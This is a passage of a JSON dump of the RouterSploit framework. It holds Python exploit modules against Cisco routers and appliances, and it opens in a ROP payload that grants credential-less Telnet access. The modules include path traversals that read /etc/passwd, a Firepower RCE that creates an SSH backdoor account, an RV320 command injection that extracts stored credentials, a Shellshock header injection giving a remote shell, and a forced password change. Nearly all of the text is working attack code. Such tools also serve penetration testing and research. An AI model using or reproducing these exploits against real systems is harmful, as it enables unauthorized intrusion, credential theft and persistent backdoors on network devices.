+12\n                    b\"DDDD\" +\n                    # +16(+0) r1 points here at third gadget\n                    b\"EEEE\" +\n                    # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;\n                    b\"\\x00\\x06\\x7b\\x5c\" +\n                    # +8  r1+8 = 0x23d55c8\n                    b\"\\x02\\x3d\\x55\\xc8\" +\n                    # +12\n                    b\"FFFF\" +\n                    # +16(+0) r1 points here at fourth gadget\n                    b\"GGGG\" +\n                    # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;\n                    b\"\\x00\\x6c\\xb3\\xa0\" +\n                    b\"{FUNC_PRIVILEGE_LEVEL}\" +\n                    # +12\n                    b\"HHHH\" +\n                    # +16(+0) r1 points here at fifth gadget\n                    b\"IIII\" +\n                    # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;\n                    b\"\\x01\\x4a\\xcf\\x98\" +\n                    # +8 r1 points here at third gadget\n                    b\"JJJJ\" +\n                    # +12\n                    b\"KKKK\" +\n                    # +16\n                    b\"LLLL\" +\n                    # +20 original execution flow return addr\n                    b\"\\x01\\x14\\xe7\\xec\" +\n                    b\":15:\" + b\"\\xff\\xf0\"\n                ),\n                \"func_is_cluster_mode\": {\n                    # +12 set  address of func that rets 1\n                    \"set\": b\"\\x00\\x00\\x99\\x9c\",\n                    # unset\n                    \"unset\": b\"\\x00\\x04\\xeA\\xe0\"\n                },\n                \"func_privilege_level\": {\n                    # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;\n                    \"set\": b\"\\x00\\x27\\x0b\\x94\",\n                    # unset\n                    \"unset\": b\"\\x00\\x04\\xe7\\x78\"\n                }\n            }\n        ]\n\n    def run(self):\n        if int(self.device) < 0 or int(self.device) >= len(self.payloads):\n            print_error(\"Set target device - use \\\"show devices\\\" and \\\"set device <id>\\\"\")\n            return\n\n        if self.action not in [\"set\", \"unset\"]:\n            print_error(\"Specify action: set / unset credless authentication for Telnet service\")\n            return\n\n        print_status(\"Trying to connect to Telnet service on port {}\".format(self.port))\n\n        tcp_client = self.tcp_create()\n        if tcp_client.connect():\n            response = tcp_client.recv(1024)\n            print_status(\"Connection OK\")\n            print_status(\"Received bytes from telnet service: {}\".format(repr(response)))\n        else:\n            print_error(\"Connection failed\")\n            return\n\n        print_status(\"Building payload...\")\n        payload = self.build_payload()\n\n        if self.action == \"set\":\n            print_status(\"Setting credless privilege 15 authentication\")\n        else:\n            print_status(\"Unsetting credless privilege 15 authentication\")\n\n        print_status(\"Sending cluster option\")\n        tcp_client.send(payload)\n        tcp_client.close()\n\n        print_status(\"Payload sent\")\n\n        if self.action == \"set\":\n            print_status(\"Connecting to Telnet service...\")\n            telnet_client = self.telnet_create()\n            if telnet_client.connect():\n                telnet_client.interactive()\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_status(\"Check if Telnet authentication was set back\")\n\n    def build_payload(self):\n        payload = self.payloads[self.device]['template']\n        payload = payload.replace(b\"{FUNC_IS_CLUSTER_MODE}\", self.payloads[self.device]['func_is_cluster_mode'][self.action])\n        payload = payload.replace(b\"{FUNC_PRIVILEGE_LEVEL}\", self.payloads[self.device]['func_privilege_level'][self.action])\n\n        return payload\n\n    @mute\n    def check(self):\n        # it is not possible to verify if target is vulnerable without exploiting system\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/dpc2420_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco DPC2420 Info Disclosure\",\n        \"description\": \"Module exploits Cisco DPC2420 information disclosure vulnerability \"\n                       \"which allows reading sensitive information from the configuration file.\",\n        \"authors\": (\n            \"Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/23250/\",\n        ),\n        \"devices\": (\n            \"Cisco DPC2420\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/filename.gwc\",\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200 and \"User Password\" in response.text:\n            print_success(\"Exploit success - reading configuration file filename.gwc\")\n            print_info(response.text)\n        else:\n            print_error(\"Exploit failed - could not read configuration file\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/filename.gwc\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"User Password\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/firepower_management60_path_traversal.py",
    "content": "import requests\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco Firepower Management 6.0 Path Traversal\",\n        \"description\": \"Module exploits Cisco Firepower Management 6.0 Path Traversal vulnerability. \"\n                       \"If the target is vulnerable, it is possible to retrieve content of the arbitrary files.\",\n        \"authors\": (\n            \"Matt\",  # vulnerability discovery\n            \"sinn3r\",  # Metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6435\",\n            \"https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking\",\n        ),\n        \"devices\": (\n            \"Cisco Firepower Management Console 6.0\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    path = OptString(\"/etc/passwd\", 'File to read through vulnerability')\n    username = OptString(\"admin\", 'Default username to log in')\n    password = OptString(\"Admin123\", 'Default password to log in')\n\n    def __init__(self):\n        self.session = None\n\n    def run(self):\n        self.session = requests.Session()\n\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"Trying to authenticate\")\n            if self.login():\n                file_path = \"../../..{}\".format(self.path)\n                path = \"/events/reports/view.cgi?download=1&files={}%00\".format(file_path)\n\n                print_status(\"Requesting: {}\".format(file_path))\n                response = self.http_request(\n                    method=\"GET\",\n                    path=path,\n                    session=self.session\n                )\n\n                if response is None:\n                    print_error(\"Exploit failed\")\n                    return\n\n                print_status(\"Reading response...\")\n\n                if not len(response.text) or \"empty or is not available to view\" in response.text:\n                    print_error(\"Exploit failed. Empty response.\")\n                else:\n                    print_info(response.text)\n\n            else:\n                print_error(\"Exploit failed. Could not authenticate.\")\n        else:\n            print_error(\"Exploit failed. Target seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.cgi?logout=1\"\n        )\n\n        if response is not None and \"6.0.1\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def login(self):\n        data = {\n            \"username\": self.username,\n            \"password\": self.password,\n            \"target\": \"\",\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/login.cgi?logout=1\",\n            data=data,\n            allow_redirects=False,\n            timeout=30,\n            session=self.session\n        )\n\n        if response is None:\n            return False\n\n        if response.status_code == 302 and \"CGISESSID\" in response.cookies.get_dict().keys():\n            print_status(\"CGI Session ID: {}\".format(response.cookies.get_dict()['CGISESSID']))\n            print_success(\"Authenticated as {}:{}\".format(self.username, self.password))\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/firepower_management60_rce.py",
    "content": "import requests\nimport re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.core.ssh.ssh_client import SSHClient\n\n\nclass Exploit(HTTPClient, SSHClient):\n    __info__ = {\n        \"name\": \"Cisco Firepower Management 6.0 RCE\",\n        \"description\": \"Module exploits Cisco Firepower Management 6.0 Remote Code Execution vulnerability. \"\n                       \"If the target is vulnerable, it is create backdoor account and authenticate through SSH service.\",\n        \"authors\": (\n            \"Matt\",  # vulnerability discovery\n            \"sinn3r\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6433\",\n            \"https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking\",\n        ),\n        \"devices\": (\n            \"Cisco Firepower Management Console 6.0\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    ssh_port = OptPort(22, \"Target SSH Port\")\n\n    username = OptString(\"admin\", \"Default username to log in\")\n    password = OptString(\"Admin123\", \"Default password to log in\")\n\n    newusername = OptString(\"\", \"New backdoor username (Default: Random)\")\n    newpassword = OptString(\"\", \"New backdoor password (Default: Random)\")\n\n    def __init__(self):\n        self.session = None\n\n    def run(self):\n        self.session = requests.Session()\n\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            if self.login():\n                if not self.newusername:\n                    self.newusername = utils.random_text(8)\n                if not self.newpassword:\n                    self.newpassword = utils.random_text(8)\n\n                self.create_ssh_backdoor(self.newusername, self.newpassword)\n\n                # Log into the SSH backdoor account\n                self.init_ssh_session(self.newusername, self.newpassword)\n            else:\n                print_error(\"Exploit failed. Could not log in\")\n        else:\n            print_error(\"Exploit failed. Target seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/img/favicon.png?v=6.0.1-1213\",\n        )\n\n        if response is not None and response.status_code == 200:\n            ssh_client = self.ssh_create(port=self.ssh_port)\n            if ssh_client.test_connect():\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def login(self):\n        data = {\n            \"username\": self.username,\n            \"password\": self.password,\n            \"target\": \"\"\n        }\n\n        print_status(\"Trying to authenticate\")\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/login.cgi?logout=1\",\n            data=data,\n            allow_redirects=False,\n            session=self.session,\n        )\n\n        if response is None:\n            return False\n\n        if response.status_code == 302 and \"CGISESSID\" in response.cookies.keys():\n            print_status(\"CGI Session ID: {}\".format(response.cookies['CGISESSID']))\n            print_success(\"Authenticated as {}:{}\".format(self.username, self.password))\n            return True\n\n        print_error(\"Exploit failed. Could not authenticate.\")\n        return False\n\n    def create_ssh_backdoor(self, username, password):\n        sh_name = 'exploit.sh'\n        sf_action_id = self.get_sf_action_id()\n\n        payload = \"sudo useradd -g ldapgroup -p `openssl passwd -1 {}` {}; rm /var/sf/SRU/{}\".format(password, username, sh_name)\n\n        print_status(\"Attempting to create SSH backdoor\")\n\n        multipart_form_data = {\n            \"action_submit\": (None, \"Import\"),\n            \"source\": (None, \"file\"),\n            \"manual_update\": (None, \"1\"),\n            \"sf_action_id\": (None, sf_action_id),\n            \"file\": (sh_name, payload)\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/DetectionPolicy/rules/rulesimport.cgi\",\n            files=multipart_form_data,\n            session=self.session\n        )\n\n        return\n\n    def get_sf_action_id(self):\n        print_status(\"Attempting to obtain sf_action_id from rulesimport.cgi\")\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/DetectionPolicy/rules/rulesimport.cgi\",\n            session=self.session\n        )\n        if response is None:\n            return None\n\n        res = re.findall(\"sf_action_id = '(.+)';\", response.text)\n\n        if len(res) > 1:\n            print_status(\"Found sf_action_id: {}\".format(res[1]))\n            return res[1]\n\n        return None\n\n    def init_ssh_session(self, username, password):\n        print_status(\"Trying to authenticate through SSH with username: {} password:{} account\".format(username, password))\n        ssh_client = self.ssh_create()\n        if ssh_client.login(username, password):\n            print_success(\"SSH - Successful authentication\")\n            ssh_client.interactive()\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco IOS HTTP Unauthorized Administrative Access\",\n        \"description\": \"HTTP server for Cisco IOS 11.3 to 12.2 allows attackers \"\n                       \"to bypass authentication and execute arbitrary commands, \"\n                       \"when local authorization is being used, by specifying a high access level in the URL.\",\n        \"authors\": (\n            \"renos stoikos <rstoikos[at]gmail.com>\",  # routesploit module\n        ),\n        \"references\": (\n            \"http://www.cvedetails.com/cve/cve-2001-0537\",\n        ),\n        \"devices\": (\n            \"IOS 11.3 -> 12.2 are reportedly vulnerable\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    show_command = OptString(\"show startup-config\", \"Command to be executed e.g show startup-config\")\n\n    def __init__(self):\n        self.access_level = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            path = \"/level/{}/exec/-/{}\".format(self.access_level, self.show_command)\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:\n                print_error(\"Could not execute command\")  # target is not vulnerable\n                return\n            else:\n                print_success(\"Exploit success! - executing command\")\n                print_info(re.sub('<[^<]+?>', '', response.text))\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        for num in range(16, 100):\n            path = \"/level/{}/exec/-/{}\".format(num, self.show_command)\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:  # target does not respond\n                break\n\n            if response.status_code == 200 and \"Command was:  {}\".format(self.show_command) in response.text:\n                self.access_level = num\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/rv320_command_injection.py",
    "content": "import re\nimport requests\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco RV320 Command Injection\",\n        \"description\": \"Module exploits Cisco RV320 Remote Command Injection vulnerability \"\n                       \"in the web-based certificate generator feature.\",\n        \"authors\": (\n            \"RedTeam Pentesting GmbH\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection\",\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652\",\n            \"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info\",\n        ),\n        \"devices\": (\n            \"Cisco RV320 from 1.4.2.15 to 1.4.2.22\",\n            \"Cisco RV325\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n\n    command = OptString(\"\", \"Command for execute\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            config = self.get_config()\n            if config is None:\n                print_error(\"Config extraction failed. Quitting.\")\n                return\n            username, password = self.extract_creds(config=config)\n            if username is None or password is None:\n                print_error(\"Username or password not found!\")\n                return\n            session = self.cisco_login(username=username, password=password)\n            if session is None:\n                print_error(\"Login Failed, quitting time loser :(\")\n                return\n            self.pwn(session=session, command=self.command)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def get_config(self):\n        print_status(\"Gonna go grab us a config file...\")\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/config.exp\",\n        )\n        if response and \"sysconfig\" in response.text:\n            print_success(\"We seem to have found a valid config!\")\n            return response.text\n        return None\n\n    def extract_creds(self, config):\n        # Here we extract the USER and PASSWD lines to get the username and hash...\n        print_status(\"Extracting Creds...\")\n\n        username = re.findall('USERNAME=(.*?)\\n', config)\n        if not username:\n            return None, None\n\n        username = username[0]\n        print_success(\"Got user: %s\" % username)\n        password = re.findall('PASSWD=(.*?)\\n', config)\n\n        if not password:\n            return None, None\n\n        password = password[0]\n        print_success(\"Got password (hash): %s\" % password)\n\n        return username, password\n\n    def extract_auth_key(self, session):\n        response = self.http_request(\n            session=session,\n            method=\"GET\",\n            path=\"/cgi-bin/userLogin.cgi\",\n            verify=False,\n        )\n        if response is None:\n            return None\n        auth_key = re.findall(r'\"auth_key\" value=\"(.*?)\">', response.text)\n        if len(auth_key):\n            return auth_key[0]\n        return None\n\n    def cisco_login(self, username, password):\n        session = requests.Session()\n        print_status(\"Sending request to extract auth key...\")\n\n        auth_key = self.extract_auth_key(session=session)\n        if auth_key is not None:\n            print_success(\"Got auth_key value: %s\" % auth_key)\n        else:\n            print_success(\"auth_key extraction failed. Using 1964300002 anyway\")\n            auth_key = \"1964300002\"  # this seems to be a default on some?\n\n        # now we do the login\n        post_data = {\n            \"auth_key\": auth_key,\n            \"auth_server_pw\": \"Y2lzY28=\",\n            \"changelanguage\": \"\",\n            \"current_password\": \"\",\n            \"langName\": \"ENGLISH,Deutsch,Espanol,Francais,Italiano\",\n            \"LanguageList\": \"ENGLISH\",\n            \"login\": \"true\",\n            \"md5_old_pass\": \"\",\n            \"new_password\": \"\",\n            \"password\": password,\n            \"password_expired\": 0,\n            \"pdStrength\": 0,\n            \"portalname\": \"CommonPortal\",\n            \"re_new_password\": \"\",\n            \"submitStatus\": 0,\n            \"username\": username\n        }\n\n        login_response = self.http_request(\n            session=session,\n            method=\"POST\",\n            path=\"/cgi-bin/userLogin.cgi\",\n            verify=False,\n            data=post_data\n        )\n\n        if login_response and \"URL=/default.htm\" in login_response.text:\n            print_success(\"Login Successful, we can proceed!\")\n            return session\n        return None\n\n    def pwn(self, session, command):\n        print_status(\"Ok, now to run your command: %s\" % command)\n        print_status(\"We don't get output so... Yeah. Shits blind.\")\n\n        payload = \"a'$(%s)'b\" % (command)\n        post_data = {\n            \"page\": \"self_generator.htm\",\n            \"totalRules\": 1,\n            \"OpenVPNRules\": 30,\n            \"submitStatus\": 1,\n            \"log_ch\": 1,\n            \"type\": 4,\n            \"Country\": \"A\",\n            \"state\": \"A\",\n                     \"locality\": \"A\",\n                     \"organization\": \"A\",\n                     \"organization_unit\": \"A\",\n                     \"email\": \"ab%40example.com\",\n                     \"KeySize\": 512,\n                     \"KeyLength\": 1024,\n                     \"valid_days\": 30,\n                     \"SelectSubject_c\": 1,\n                     \"SelectSubject_s\": 1,\n                     \"common_name\": payload\n        }\n        self.http_request(\n            session=session,\n            method=\"POST\",\n            path=\"/certificate_handle2.htm?type=4\",\n            verify=False,\n            data=post_data\n        )\n\n    @mute\n    def check(self):\n        if self.get_config() is not None:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/secure_acs_bypass.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco Secure ACS Unauthorized Password Change\",\n        \"description\": \"Module exploits an authentication bypass issue which allows arbitrary \"\n                       \"password change requests to be issued for any user in the local store. \"\n                       \"Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well \"\n                       \"as version 5.2 with either no patches or patches 1 and 2 are vulnerable.\",\n        \"authors\": (\n            \"Jason Kratzer <pyoor[at]flinkd.org>\",  # vulnerability discovery & metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html\",\n        ),\n        \"devices\": (\n            \"Cisco Secure ACS version 5.1 with patch 3, 4, or 5 installed and without patch 6 or later installed\",\n            \"Cisco Secure ACS version 5.2 without any patches installed\",\n            \"Cisco Secure ACS version 5.2 with patch 1 or 2 installed and without patch 3 or later installed\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    path = OptString(\"/PI/services/UCP/\", \"Path to UCP WebService\")\n    username = OptString(\"\", \"Username to use\")\n    password = OptString(\"\", \"Password to use\")\n\n    def run(self):\n        headers = {'SOAPAction': '\"changeUserPass\"'}\n\n        data = ('<?xml version=\"1.0\" encoding=\"utf-8\"?>' + '\\r\\n'\n                '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" '\n                'xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" '\n                'xmlns:xsi=\"http://www.w3.org/1999/XMLSchema-instance\" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" '\n                'xmlns:xsd=\"http://www.w3.org/1999/XMLSchema\">' + '\\r\\n'\n\n                '<SOAP-ENV:Body>' + '\\r\\n'\n                '<ns1:changeUserPass xmlns:ns1=\"UCP\" SOAP-ENC:root=\"1\">' + '\\r\\n'\n                '<v1 xsi:type=\"xsd:string\">' + self.username + '</v1>' + '\\r\\n'\n                '<v2 xsi:type=\"xsd:string\">fakepassword</v2>' + '\\r\\n'\n                '<v3 xsi:type=\"xsd:string\">' + self.password + '</v3>' + '\\r\\n'\n                '</ns1:changeUserPass>'\n                '</SOAP-ENV:Body>' + '\\r\\n'\n                '</SOAP-ENV:Envelope>' + '\\r\\n\\r\\n')\n\n        print_status(\"Issuing password change request for: \" + self.username)\n\n        response = self.http_request(\n            method=\"POST\",\n            path=self.path,\n            data=data,\n            headers=headers\n        )\n\n        if response is None:\n            print_error(\"Exploit failed. Target seems to be not vulnerable.\")\n            return\n\n        if \"success\" in response.text:\n            print_success(\"Success! Password for {} has been changed to {}\".format(self.username, self.password))\n        elif \"Password has already been used\" in response.text:\n            print_error(\"Failed! The supplied password has already been used.\")\n            print_error(\"Please change the password and try again.\")\n        elif \"Invalid credentials for user\" in response.text:\n            print_error(\"Failed! Username does not exist or target is not vulnerable.\")\n            print_error(\"Please change the username and try again.\")\n        else:\n            print_error(\"Failed!  An unknown error has occurred.\")\n\n    @mute\n    def check(self):\n        # it is not possible to verify if target is vulnerable without exploiting system\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/ucm_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"Cisco UCM Info Disclosure\",\n        \"description\": \"Module exploits information disclosure vulnerability in Cisco UCM devices. \"\n                       \"If the target is vulnerable it is possible to read sensitive information through TFTP service.\",\n        \"authors\": (\n            \"Daniel Svartman <danielsvartman[at]gmail.com\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/30237/\",\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7030\",\n        ),\n        \"devices\": (\n            \"Cisco UCM\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(69, \"Target port\")\n\n    def __init__(self):\n        self.payload = b'\\x00\\x01' + b'SPDefault.cnf.xml' + b'\\x00' + b'netascii' + b'\\x00'\n\n    def run(self):\n        print_status(\"Sending payload\")\n        udp_client = self.udp_create()\n        udp_client.send(self.payload)\n\n        response = udp_client.recv(2048)\n\n        if response and len(response):\n            if b\"UseUserCredential\" in response:\n                print_success(\"Exploit success - file {}\".format(\"SPDefault.cnf.xml\"))\n                print_info(response)\n            else:\n                print_error(\"Exploit failed - credentials not found in response\")\n        else:\n            print_error(\"Exploit failed - empty response\")\n\n    @mute\n    def check(self):\n        udp_client = self.udp_create()\n        udp_client.send(self.payload)\n\n        response = udp_client.recv(2048)\n\n        if response and len(response) and b\"UseUserCredential\" in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/ucs_manager_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco UCS Manager RCE\",\n        \"description\": \"Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which \"\n                       \"allows executing commands on operating system level.\",\n        \"authors\": (\n            \"thatchriseckert\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39568/\",\n            \"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash\",\n        ),\n        \"devices\": (\n            \"Cisco UCS Manager 2.1 (1b)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        mark = utils.random_text(32)\n        headers = {\n            \"User-Agent\": '() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; echo %s; echo \"$(%s)\"; echo %s;' % (mark, cmd, mark)\n        }\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/ucsm/isSamInstalled.cgi\",\n            headers=headers\n        )\n        if response is None:\n            return \"\"\n\n        if mark in response.text:\n            regexp = \"%s(|.+?)%s\" % (mark, mark)\n            res = re.findall(regexp, response.text, re.DOTALL)\n\n            if len(res):\n                return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/unified_multi_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco Unified Multi Path Traversal\",\n        \"description\": \"Module exploits path traversal vulnerability in Cisco Unified Communications Manager, \"\n                       \"Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices.\"\n                       \"If the target is vulnerable it allows to read files from the filesystem.\",\n        \"authors\": (\n            \"Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/36256/\",\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3315\",\n        ),\n        \"devices\": (\n            \"Cisco Unified Communications Manager 5.x\",\n            \"Cisco Unified Communications Manager 6.x < 6.1(5)\",\n            \"Cisco Unified Communications Manager 7.x < 7.1(5b)\",\n            \"Cisco Unified Communications Manager 8.x < 8.0(3)\",\n            \"Cisco Unified Contact Center Express\",\n            \"Cisco Unified IP Interactive Voice Response < 6.0(1)\",\n            \"Cisco Unified IP Interactive Voice Response 7.0(x) < 7.0(2)\",\n            \"Cisco Unified IP Interactive Voice Response 8.0(x) < 8.5(1)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n    filename = OptString(\"/etc/passwd\", 'File to read from the filesystem')\n\n    def run(self):\n        if self.check():\n            path = \"/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../..{}\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Exploit success - reading file {}\".format(self.filename))\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed - could not read file\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/comtrend/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/comtrend/ct_5361t_password_disclosure.py",
